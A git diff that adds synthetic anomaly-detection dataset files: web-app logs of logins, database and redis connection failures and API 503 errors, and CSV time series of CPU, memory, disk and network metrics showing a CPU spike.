web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:01:13 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:01:19 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:01:22 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:01:26 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:01:33 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:01:39 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:01:43 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:01:47 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:01:52 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:01:56 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:02:02 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:02:05 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:02:10 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:02:15 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:02:21 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:02:28 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:02:30 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:02:34 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:02:35 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:02:37 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:02:40 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:02:43 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:02:47 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:02:48 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:02:52 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:02:53 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:02:59 web-app[3453]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 19:02:59 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:03:00 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:03:03 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:03:06 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:03:14 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:03:16 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:03:17 web-app[3453]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 19:03:20 web-app[3453]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 19:03:21 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:03:27 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:03:31 web-app[3453]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 19:03:34 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:03:36 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:03:38 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:03:42 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:03:43 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:03:46 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:03:48 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:03:50 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:03:50 web-app[3453]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 19:03:55 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:03:56 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:04:00 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:01 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:04:05 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:04:09 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:11 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:04:12 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:04:17 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:04:17 web-app[3453]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 19:04:20 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:04:22 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:26 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:31 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:36 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:04:36 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:04:42 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:48 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:52 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:04:53 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:04:59 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:04:59 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:05:03 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:05:04 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:05:05 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:05:08 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:05:10 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:05:13 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:05:18 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:05:19 web-app[3453]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 19:05:20 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:05:24 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:05:25 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:05:26 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:05:31 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:05:35 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:05:38 web-app[3453]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 19:05:40 web-app[3453]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 19:05:44 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:05:46 web-app[3453]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 19:05:47 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:05:52 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:05:56 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:06:03 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:06:08 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:06:13 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:06:17 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:06:23 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:06:26 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:06:32 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:06:35 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:06:43 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:06:45 web-app[3453]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 19:06:54 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:06:57 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:07:03 web-app[3453]: INFO: Background job 'report-generator' started. +Jul 15 19:07:09 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:07:12 web-app[3453]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 19:07:19 web-app[3453]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 19:07:24 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 19:07:25 web-app[3453]: INFO: Background job 'report-generator' finished in 2.15s. diff --git a/anom_dataset/scenario_13/anom_13_4.csv b/anom_dataset/scenario_13/anom_13_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..84e535d30a14afa3e44cbe2572eb75c77e2793c1 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T20:00:00Z,37.34,41.89,19.5,2.4,1.81 +2025-07-15T20:00:05Z,28.78,44.02,18.24,1.82,1.57 +2025-07-15T20:00:10Z,31.06,40.91,24.01,2.14,1.67 +2025-07-15T20:00:15Z,36.32,44.73,17.58,2.21,1.06 +2025-07-15T20:00:20Z,28.36,38.0,16.84,2.58,2.11 +2025-07-15T20:00:25Z,37.74,38.15,20.22,2.05,2.09 +2025-07-15T20:00:30Z,30.9,38.65,17.55,2.32,2.03 +2025-07-15T20:00:35Z,20.45,40.3,19.03,2.13,2.15 +2025-07-15T20:00:40Z,26.8,42.05,15.99,2.57,2.03 +2025-07-15T20:00:45Z,29.26,40.22,15.19,2.43,1.17 +2025-07-15T20:00:50Z,36.78,42.14,17.43,1.57,1.09 +2025-07-15T20:00:55Z,28.18,43.54,20.44,1.8,2.28 +2025-07-15T20:01:00Z,32.52,41.98,16.12,1.72,2.24 +2025-07-15T20:01:05Z,25.89,40.94,20.2,2.63,2.31 +2025-07-15T20:01:10Z,33.34,38.55,22.17,2.61,2.3 +2025-07-15T20:01:15Z,36.88,39.81,21.78,1.55,1.27 +2025-07-15T20:01:20Z,24.21,38.88,17.97,2.62,1.9 +2025-07-15T20:01:25Z,23.15,38.44,22.14,2.52,1.15 +2025-07-15T20:01:30Z,31.19,38.24,21.28,2.11,1.97 +2025-07-15T20:01:35Z,39.45,38.1,18.69,1.9,1.05 +2025-07-15T20:01:40Z,20.65,38.55,19.93,2.47,1.06 +2025-07-15T20:01:45Z,39.45,43.24,15.32,2.79,1.7 +2025-07-15T20:01:50Z,37.98,42.75,18.05,2.83,2.06 +2025-07-15T20:01:55Z,31.82,38.92,20.9,2.76,2.49 +2025-07-15T20:02:00Z,22.55,40.52,15.92,2.38,1.7 +2025-07-15T20:02:05Z,28.68,38.96,18.87,2.75,1.01 +2025-07-15T20:02:10Z,37.1,38.44,16.53,1.82,1.37 +2025-07-15T20:02:15Z,27.37,43.75,24.07,2.05,1.45 +2025-07-15T20:02:20Z,33.59,44.74,20.69,2.55,1.16 +2025-07-15T20:02:25Z,37.71,43.81,17.5,2.83,2.11 +2025-07-15T20:02:30Z,14.61,36.96,24.56,0.21,0.25 +2025-07-15T20:02:35Z,14.42,43.59,17.33,0.23,0.26 +2025-07-15T20:02:40Z,9.0,41.96,16.23,0.36,0.3 +2025-07-15T20:02:45Z,14.83,43.9,18.22,0.34,0.33 +2025-07-15T20:02:50Z,7.06,43.06,16.44,0.28,0.2 +2025-07-15T20:02:55Z,6.06,41.83,17.65,0.2,0.14 +2025-07-15T20:03:00Z,14.67,46.66,20.91,0.3,0.21 +2025-07-15T20:03:05Z,8.22,45.48,22.5,0.36,0.37 +2025-07-15T20:03:10Z,14.43,48.76,22.2,0.1,0.21 +2025-07-15T20:03:15Z,5.5,47.58,22.48,0.22,0.4 +2025-07-15T20:03:20Z,13.38,50.15,15.11,0.28,0.27 +2025-07-15T20:03:25Z,8.14,49.91,24.84,0.25,0.35 +2025-07-15T20:03:30Z,14.62,47.91,24.4,0.34,0.2 +2025-07-15T20:03:35Z,5.65,53.98,20.35,0.17,0.19 +2025-07-15T20:03:40Z,13.78,49.95,18.47,0.33,0.2 +2025-07-15T20:03:45Z,91.13,52.45,18.37,0.39,0.25 +2025-07-15T20:03:50Z,85.92,55.0,18.53,0.2,0.37 +2025-07-15T20:03:55Z,79.24,57.94,23.78,0.29,0.38 +2025-07-15T20:04:00Z,83.75,55.78,15.65,0.12,0.26 +2025-07-15T20:04:05Z,90.54,58.38,16.93,0.24,0.32 +2025-07-15T20:04:10Z,93.65,54.97,24.77,0.2,0.32 +2025-07-15T20:04:15Z,75.09,57.97,15.35,0.16,0.38 +2025-07-15T20:04:20Z,91.79,59.35,20.44,0.38,0.24 +2025-07-15T20:04:25Z,77.74,58.16,24.08,0.29,0.33 +2025-07-15T20:04:30Z,79.98,56.32,20.17,0.23,0.19 +2025-07-15T20:04:35Z,91.11,60.56,19.53,0.17,0.17 +2025-07-15T20:04:40Z,83.92,59.45,20.01,0.18,0.28 +2025-07-15T20:04:45Z,76.21,60.75,22.48,0.11,0.24 +2025-07-15T20:04:50Z,94.53,64.12,20.73,0.26,0.23 +2025-07-15T20:04:55Z,85.7,65.46,20.85,0.12,0.13 +2025-07-15T20:05:00Z,93.51,62.12,19.5,0.2,0.2 +2025-07-15T20:05:05Z,91.16,61.83,22.18,0.25,0.25 +2025-07-15T20:05:10Z,87.72,66.54,16.6,0.32,0.12 +2025-07-15T20:05:15Z,76.68,64.83,23.63,0.32,0.21 +2025-07-15T20:05:20Z,78.82,67.91,18.84,0.16,0.25 +2025-07-15T20:05:25Z,75.2,71.78,24.44,0.13,0.31 +2025-07-15T20:05:30Z,82.5,66.64,17.13,0.22,0.28 +2025-07-15T20:05:35Z,83.81,72.72,17.89,0.32,0.29 +2025-07-15T20:05:40Z,92.62,69.06,22.99,0.13,0.12 +2025-07-15T20:05:45Z,78.87,71.07,15.44,0.22,0.32 +2025-07-15T20:05:50Z,25.02,39.21,24.63,1.58,1.04 +2025-07-15T20:05:55Z,23.31,42.47,20.67,1.59,1.85 +2025-07-15T20:06:00Z,28.43,41.57,24.76,2.17,1.22 +2025-07-15T20:06:05Z,20.64,42.92,23.62,2.48,1.97 +2025-07-15T20:06:10Z,24.73,38.3,21.25,1.53,1.19 +2025-07-15T20:06:15Z,20.09,41.27,20.54,2.85,1.15 +2025-07-15T20:06:20Z,24.05,40.5,18.2,2.25,2.21 +2025-07-15T20:06:25Z,21.13,44.73,18.28,2.98,1.98 +2025-07-15T20:06:30Z,24.16,44.4,17.95,2.19,2.11 +2025-07-15T20:06:35Z,25.61,42.31,23.37,2.74,1.95 +2025-07-15T20:06:40Z,25.75,42.23,19.86,1.96,2.08 +2025-07-15T20:06:45Z,30.62,44.79,19.17,1.79,1.64 +2025-07-15T20:06:50Z,35.85,41.11,20.23,1.86,1.88 +2025-07-15T20:06:55Z,22.31,44.41,24.05,2.06,2.48 +2025-07-15T20:07:00Z,37.0,43.93,23.47,1.86,2.25 +2025-07-15T20:07:05Z,34.61,44.74,24.93,2.95,2.13 +2025-07-15T20:07:10Z,21.21,44.8,15.54,2.05,2.3 +2025-07-15T20:07:15Z,26.57,42.17,21.29,2.38,1.35 +2025-07-15T20:07:20Z,38.46,38.42,16.96,1.92,1.66 +2025-07-15T20:07:25Z,37.46,44.5,19.54,2.33,1.06 diff --git a/anom_dataset/scenario_13/anom_13_4.log b/anom_dataset/scenario_13/anom_13_4.log new file mode 100644 index 0000000000000000000000000000000000000000..f563fd55bc9a0999c552c1dd2280950c9af3daac --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_4.log @@ -0,0 +1,122 @@ +Jul 15 20:00:04 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:00:08 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:00:12 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:00:17 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:00:23 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:00:29 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:00:34 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:00:35 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:00:42 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:00:48 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:00:51 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:00:59 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:01:04 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:01:05 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:01:14 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:01:16 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:01:23 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:01:25 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:01:31 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:01:35 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:01:41 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:01:48 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:01:51 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:01:58 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:02:00 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:02:05 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:02:12 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:02:19 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:02:21 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:02:26 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:02:31 web-app[3454]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 20:02:32 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:02:35 web-app[3454]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 20:02:37 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:02:43 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:02:44 web-app[3454]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 20:02:45 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:02:49 web-app[3454]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 20:02:51 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:02:54 web-app[3454]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 20:02:55 web-app[3454]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 20:02:58 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:03:04 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:03:06 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:03:09 web-app[3454]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 20:03:11 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:03:15 web-app[3454]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 20:03:19 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:03:21 web-app[3454]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 20:03:22 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:03:25 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:03:29 web-app[3454]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 20:03:30 web-app[3454]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 20:03:31 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:03:36 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:03:37 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:03:41 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:03:46 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:03:51 web-app[3454]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 20:03:54 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:03:57 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:04:01 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:04:01 web-app[3454]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 20:04:07 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:04:09 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:04:13 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:04:13 web-app[3454]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 20:04:18 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:04:19 web-app[3454]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 20:04:21 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:04:23 web-app[3454]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection reset by peer. +Jul 15 20:04:27 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:04:28 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:04:33 web-app[3454]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 20:04:34 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:04:35 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:04:35 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:04:40 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:04:40 web-app[3454]: WARN: Retrying connection to inventory API (attempt 3/5)... +Jul 15 20:04:47 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:04:49 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:04:50 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:04:52 web-app[3454]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 20:04:58 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:04:58 web-app[3454]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 20:05:00 web-app[3454]: INFO: Service health check failed for dependency 'redis-cache' +Jul 15 20:05:02 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:05:07 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:05:10 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:05:11 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:05:15 web-app[3454]: ERROR: Connection to database 'user-db@10.0.1.16' timed out after 3000ms +Jul 15 20:05:19 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:05:20 web-app[3454]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 20:05:23 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:05:29 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:05:33 web-app[3454]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 20:05:33 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:05:35 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:05:38 web-app[3454]: ERROR: Inventory API call to api.inventoryservice.com failed with status 503 Service Unavailable. +Jul 15 20:05:40 web-app[3454]: ERROR: All retries failed for database 'user-db@10.0.1.16'. Aborting transaction. +Jul 15 20:05:40 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:05:45 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:05:51 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:05:56 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:06:01 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:06:05 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:06:14 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:06:15 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:06:22 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:06:25 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:06:31 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:06:39 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:06:43 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:06:45 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:06:50 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 +Jul 15 20:06:59 web-app[3454]: INFO: GET /api/v1/settings HTTP/1.1 200 OK +Jul 15 20:07:00 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:07:07 web-app[3454]: INFO: Background job 'report-generator' finished in 2.15s. +Jul 15 20:07:14 web-app[3454]: DEBUG: Query executed: SELECT * FROM users WHERE email=? +Jul 15 20:07:16 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:07:22 web-app[3454]: INFO: Background job 'report-generator' started. +Jul 15 20:07:26 web-app[3454]: INFO: User 'beth' logged in successfully from ip 192.168.3.12 diff --git a/anom_dataset/scenario_13/anom_13_5.csv b/anom_dataset/scenario_13/anom_13_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..c11d011460feb2f0c15b7dbea7709bf4e8ba4a25 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,24.96,40.65,26.94,0.86,1.28 +2025-07-02T11:00:05Z,15.87,40.68,21.66,1.35,1.4 +2025-07-02T11:00:10Z,15.38,41.01,26.63,0.97,1.32 +2025-07-02T11:00:15Z,21.08,40.95,21.47,1.15,1.42 